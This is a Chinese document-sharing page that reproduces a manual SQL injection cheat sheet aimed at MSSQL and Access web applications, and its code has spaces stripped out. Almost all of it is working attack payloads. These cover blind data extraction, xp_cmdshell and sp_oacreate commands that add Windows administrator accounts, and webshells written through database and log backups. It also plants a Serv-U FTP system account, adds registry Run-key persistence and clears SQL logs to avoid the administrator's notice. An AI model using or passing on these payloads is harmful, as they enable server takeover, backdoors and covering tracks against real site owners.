SQL手工注入大全.docx

上传人:b****8 文档编号:29811210 上传时间:2023-07-27 格式:DOCX 页数:16 大小:23.64KB
下载 相关 举报
SQL手工注入大全.docx_第1页
第1页 / 共16页
SQL手工注入大全.docx_第2页
第2页 / 共16页
SQL手工注入大全.docx_第3页
第3页 / 共16页
SQL手工注入大全.docx_第4页
第4页 / 共16页
SQL手工注入大全.docx_第5页
第5页 / 共16页
点击查看更多>>
下载资源
资源描述

SQL手工注入大全.docx

《SQL手工注入大全.docx》由会员分享,可在线阅读,更多相关《SQL手工注入大全.docx(16页珍藏版)》请在冰豆网上搜索。

SQL手工注入大全.docx

SQL手工注入大全

SQL手工注入大全

------------------------------------------------------------------

比方说在查询id是50的数据时,如果用户传近来的参数是50and1=1,如果没有设置过滤的话,可以直接查出来,SQL注入一般在ASP程序中遇到最多,

看看下面的

1.判断是否有注入

;and1=1

;and1=2

2.初步判断是否是mssql

;anduser>0

3.判断数据库系统

;and(selectcount(*)fromsysobjects)>0mssql

;and(selectcount(*)frommsysobjects)>0access

4.注入参数是字符

'and[查询条件]and''='

5.搜索时没过滤参数的

'and[查询条件]and'%25'='

6.猜数据库

;and(selectCount(*)from[数据库名])>0

7.猜字段

;and(selectCount(字段名)from数据库名)>0

8.猜字段中记录长度

;and(selecttop1len(字段名)from数据库名)>0

9.

(1)猜字段的ascii值(access)

;and(selecttop1asc(mid(字段名,1,1))from数据库名)>0

(2)猜字段的ascii值(mssql)

;and(selecttop1unicode(substring(字段名,1,1))from数据库名)>0

10.测试权限结构(mssql)

;and1=(selectIS_SRVROLEMEMBER('sysadmin'));--

;and1=(selectIS_SRVROLEMEMBER('serveradmin'));--

;and1=(selectIS_SRVROLEMEMBER('setupadmin'));--

;and1=(selectIS_SRVROLEMEMBER('securityadmin'));--

;and1=(selectIS_SRVROLEMEMBER('diskadmin'));--

;and1=(selectIS_SRVROLEMEMBER('bulkadmin'));--

;and1=(selectIS_MEMBER('db_owner'));--

11.添加mssql和系统的帐户

;execmaster.dbo.sp_addloginusername;--

;execmaster.dbo.sp_passwordnull,username,password;--

;execmaster.dbo.sp_addsrvrolemembersysadminusername;--

;execmaster.dbo.xp_cmdshell'netuserusernamepassword/workstations:

*/times:

all/passwordchg:

yes/passwordreq:

yes/active:

yes/add';--

;execmaster.dbo.xp_cmdshell'netuserusernamepassword/add';--

;execmaster.dbo.xp_cmdshell'netlocalgroupadministratorsusername/add';--

12.

(1)遍历目录

;createtabledirs(pathsvarchar(100),idint)

;insertdirsexecmaster.dbo.xp_dirtree'c:

\'

;and(selecttop1pathsfromdirs)>0

;and(selecttop1pathsfromdirswherepathsnotin('上步得到的paths'))>)

(2)遍历目录

;createtabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));--

;inserttempexecmaster.dbo.xp_availablemedia;--获得当前所有驱动器

;insertintotemp(id)execmaster.dbo.xp_subdirs'c:

\';--获得子目录列表

;insertintotemp(id,num1)execmaster.dbo.xp_dirtree'c:

\';--获得所有子目录的目录树结构

;insertintotemp(id)execmaster.dbo.xp_cmdshell'typec:

\web\index.asp';--查看文件的内容

13.mssql中的存储过程

xp_regenumvalues注册表根键,子键

;execxp_regenumvalues'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run'以多个记录集方式返回所有键值

xp_regread根键,子键,键值名

;execxp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir'返回制定键的值

xp_regwrite根键,子键,值名,值类型,值

值类型有2种REG_SZ表示字符型,REG_DWORD表示整型

;execxp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello'写入注册表

xp_regdeletevalue根键,子键,值名

execxp_regdeletevalue'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName'删除某个值

xp_regdeletekey'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'删除键,包括该键下所有值

14.mssql的backup创建webshell

usemodel

createtablecmd(strimage);

insertintocmd(str)values('');

backupdatabasemodeltodisk='c:

\l.asp';

15.mssql内置函数

;and(select@@version)>0获得Windows的版本号

;anduser_name()='dbo'判断当前系统的连接用户是不是sa

;and(selectuser_name())>0爆当前系统的连接用户

;and(selectdb_name())>0得到当前连接的数据库

16.简洁的webshell

usemodel

createtablecmd(strimage);

insertintocmd(str)values('');

backupdatabasemodeltodisk='g:

\wwwtest\l.asp';

请求的时候,像这样子用:

http:

//ip/l.asp?

c=dir

SQL手工注入大全

前提需要工具:

SQLQueryAnalyzer和SqlExecSunxVersion

1.去掉xp_cmdshell扩展过程的方法是使用如下语句:

ifexists(select*fromdbo.sysobjectswhereid=object_id(N'[dbo].[xpcmdshell]')andOBJECTPROPERTY(id,N'IsExtendedProc')=1)

execsp_dropextendedprocN'[dbo].[xp_cmdshell]'

2.添加xp_cmdshell扩展过程的方法是使用如下语句:

(1)SQLQueryAnalyzer

sp_addextendedprocxp_cmdshell,@dllname='xplog70.dll'

(2)首先在SqlExecSunxVersion的Format选项里填上%s,在CMD选项里输入

sp_addextendedproc'xp_cmdshell','xpsql70.dll'

去除

sp_dropextendedproc'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc'xp_cmdshell','xplog70.dll'

SQL手工注入方法总结(SQLServer2005)2010-01-2816:

17---------以下以省略注入点用URL代替

--

(1)******查看驱动器方法******

--建表p(i为自动编号,a记录盘符类似"c:

\",b记录可用字节,其它省略)

URL;createtablep(iintidentity(1,1),anvarchar(255),bnvarchar(255),cnvarchar(255),dnvarchar(255));--

URL;insertpexecxp_availablemedia;--列出所有驱动器并插入表p

URL;and(selectcount(*)fromp)>3;--折半法查出驱动器总数

URL;andascii(substring((selectafrompwherei=1),1,1))=67;--折半法查出驱动器名(注asc(c)=67)

--上面一般用于无显错情况下使用-------以此类推,得到所有驱动器名

URL;and(selectafrompwherei=1)>3;--报错得到第一个驱动器名

--上面一般用于显错情况下使用-------以此类推,得到所有驱动器名

URL;;droptablep;--删除表p

--

(2)******查看目录方法******

URL;createtablepa(mnvarchar(255),invarchar(255));--建表pa(m记录目录,i记录深度)

URL;insertpaexecxp_dirtree’e:

’;--列出驱动器e并插入表pa

URL;and(selectcount(*)frompawherei>0)>-1;--折半法查出i深度

URL;and(selecttop1mfrompawherei=1andmnotin(selecttop0mfrompa))>0;--报错得到深度i=1的第一个目录名

--上面一般用显错且目录名不为数字情况下使用-------(得到第二个目录把"top0"换为"top1",换深度只换i就行)以此类推,得到e盘的所有目录

URL;andlen((selecttop1mfrompawherei=1andmnotin(selecttop0mfrompa)))>0;--折半法查出深度i=1的第一个目录名的长度

URL;andascii(substring((selecttop1mfrompawherei=1andmnotin(selecttop0mfrompa)),1,1))>0;--折半法查出深度i=1的第一个目录名的第一个字符长度

--上面一般用无显错情况下使用-------(得到第二个目录把"top0"换为"top1",换深度只换i就行)以此类推,得到e盘的所有目录

URL;droptablepa;--删除表pa

----------------------------经过上面的方法就可得到服务器所有目录(这里为连接用户有读取权限目录)-----------------

--(3)数据库备份到Web目录(先拿个WebShell再说吧注:

此为SQLServer2000)

URL;alterdatabaseemploy_setRECOVERYFULL;--把当前库L设置成日志完全恢复模式

URL;URL;createtables(limage);--建表s

URL;backuplogstodisk=’c:

cmd’withinit;--减少备分数据的大小

URL;URL;insertsvalues(’’)--在表s中插入一句话马

URL;backuploghhtodisk=’e:

\web\g.asp’;--备分日志到WEB路径

URL;droptables;--删除表s

URL;alterdatabasehhsetRECOVERYSIMPLE;--把SQL设置成日志简单恢复模式

--------------------------------------OK到此WebShell应该到手了-----------------------------------------------

--(4)以下为一些注入杂项

----SA权限:

URL;execaster.dbo.sp_addloginhacker;--添加SQL用户

URL;execmaster.dbo.sp_passwordnull,hacker,hacker;--设置SQL帐号hacker的密码为hacker

RL;execmaster.dbo.sp_addsrvrolemembersysadminhacker;--加hacker进sysadmin管理组

URL;execmaster.dbo.xp_cmdshell’netuserhackerhacker/workstations:

*/times:

all/passwordchg:

yes/passwordreq:

yes/active:

yes/add’;--建立一个系统用hacker并设置其密码为hacker

URL;execmaster.dbo.xp_cmdshell’netlocalgroupadministratorshacker/add’;--hacker加入到管理员组

----SQLServer2005暴库、表、段法(前提有显错、无显错用折半法)

URLand0<(selectcount(*)frommaster.dbo.sysdatabases);--折半法得到数据库个数

URLand0<(selectcount(*)frommaster.dbo.sysdatabaseswherename>1anddbid=1);--

--依次提交dbid=2.3.4...得到更多的数据库名

URLand0<(selectcount(*)namefromemploy.dbo.sysobjectswherextype=’U’);--折半法得到表个数(假设暴出库名employ)

URLand0<(selecttop1namefromemploy.dbo.sysobjectswherextype=’U’)

--假设暴出表名为"employ_qj"则在上面语句上加条件andnamenotin(’employ_qj’以此一直加条件....

URLand0<(selecttop1namefromsyscolumnswhereidin(selectidfromsysobjectswheretype=’u’andname=’employ_qj’));--

--假设暴出字段名为"id"则在上面语句上加上条件andnamenotis(’id’)以此一直加条件....

---------------------按上面方法库、表、段的名称都可以得到----用以上方法可以得到段段里的数据--------------------

select*frommaster.dbo.sysdatabases--查询数据库

select*fromNetBook.dbo.sysobjectswherextype=’u’--查询数据库NetBook里的表

select*fromNetBook.dbo.syscolumnswhereid=object_id(’book’)--查询book表里的字段

---------------------------------------------------------------------------------------------------------------

---------------------------------------SQL扩展沙盘提权-----------------------------------

看来xp_cmdshell是不能用鸟~不过偶们还有SP_OAcreate可以用用SP_OAcreate一样可以执行系统命令

在查询分析器里执行

DECLARE@shellINTEXECSP_OAcreate’wscript.shell’,@shellOUTPUTEXECSP_OAMETHOD

@shell,’run’,null,’C:

\WINdows\system32\cmd.exe/cnetusergydyhookhook/add’

这段代码就是利用SP_OAcreate来添加一个gydyhook的系统用户然后直接提升为管理员权限就OK了

提示命令完成成功

直接写

个一句话进去

语句如下

execmaster.dbo.xp_subdirs’d:

\web\’;

execsp_makewebtask’d:

\web\www.XXXX.com\XX.asp’,’select’’’’’

提示命令执行成功偶们看看效果

查询分析器里执行select*fromopenrowset(’microsoft.jet.oledb.4.0’,’

;database=c:

\windows\system32\ias\ias.mdb’,

’selectshell("cmd.exe/cnetuseradminadmin1234/add")’)来利用沙盘来添加个管理员但是事实告诉

我我的RP并不好

嘿嘿使用declare@oint,@fint,@tint,@retint

declare@linevarchar(8000)

execsp_oacreate’scripting.filesystemobject’,@oout

execsp_oamethod@o,’opentextfile’,@fout,’d:

\Serv-U6.3\ServUDaemon.ini’,1

exec@ret=sp_oamethod@f,’readline’,@lineout

while(@ret=0)

begin

print@line

exec@ret=sp_oamethod@f,’readline’,@lineout

end

这段代码就可以把ServUDaemon.ini里的配置信息全部显示出来嘿嘿既然能看了那偶门不是一样可以写进去?

直接写一个系统权限的FTP帐号进去

使用declare@oint,@fint,@tint,@retint

execsp_oacreate’scripting.filesystemobject’,@oout

execsp_oamethod@o,’createtextfile’,@fout,’d:

\Serv-U6.3\ServUDaemon.ini’,1

exec@ret=sp_oamethod@f,’writeline’,NULL,《这里添写自己写好的SU配置信息刚才复制的那些都要

写上去》

然后执行一下成功执行我们再用存储过程看看写进去没有

OK我XXXXXX成功写进去了一个用户名为XXXX密码为空的系统权限的FTP然后偶们在FTP里执行

quotesiteXXXXXXX提权就好了。

这里已经很熟悉了就不写了。

~然后用3389连一下成功地到服务器权限

然后偶们再用setnocounton

declare@logicalfilenamesysname,

@maxminutesint,

@newsizeint来清理掉SQL日志免的被管理员发现

------

DECLARE@cmdINTEXECsp_oacreate'wscript.shell',@cmdoutput

EXECsp_oamethod@cmd,'run',null,'cmd.exe/cnetuserrenwoxin$Content$nbsp;test/add&a

------------------------------MSSQLdb_owner注入利用xp_regwrite获得系统权限---------------------------------------

xp_regwrite’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentversion\run’,’xwq1’,’REG_SZ’,’netuserh86$hacker/add’

呵呵,返回一个正常页面,说明成功完成拉,再在注射点输入

xp_regwrite’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentversion\run’,’xwq2’,’REG_SZ’,’netlocalgroupadministratorsh86$/add’

------------------------------

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 表格模板 > 书信模板

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1